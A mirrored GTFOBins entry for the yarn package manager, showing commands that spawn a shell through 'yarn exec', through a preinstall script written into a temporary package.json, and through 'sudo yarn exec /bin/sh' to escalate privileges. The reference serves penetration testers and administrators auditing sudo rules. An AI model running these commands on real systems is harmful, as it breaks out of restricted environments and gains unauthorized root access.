mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
fd476e08c2
Mention an additional way to run scripts as suggested in #224.
13 lines
403 B
Markdown
13 lines
403 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: yarn exec /bin/sh
|
|
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.
|
|
code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
|
yarn --cwd $TF install
|
|
sudo:
|
|
- code: sudo yarn exec /bin/sh
|
|
---
|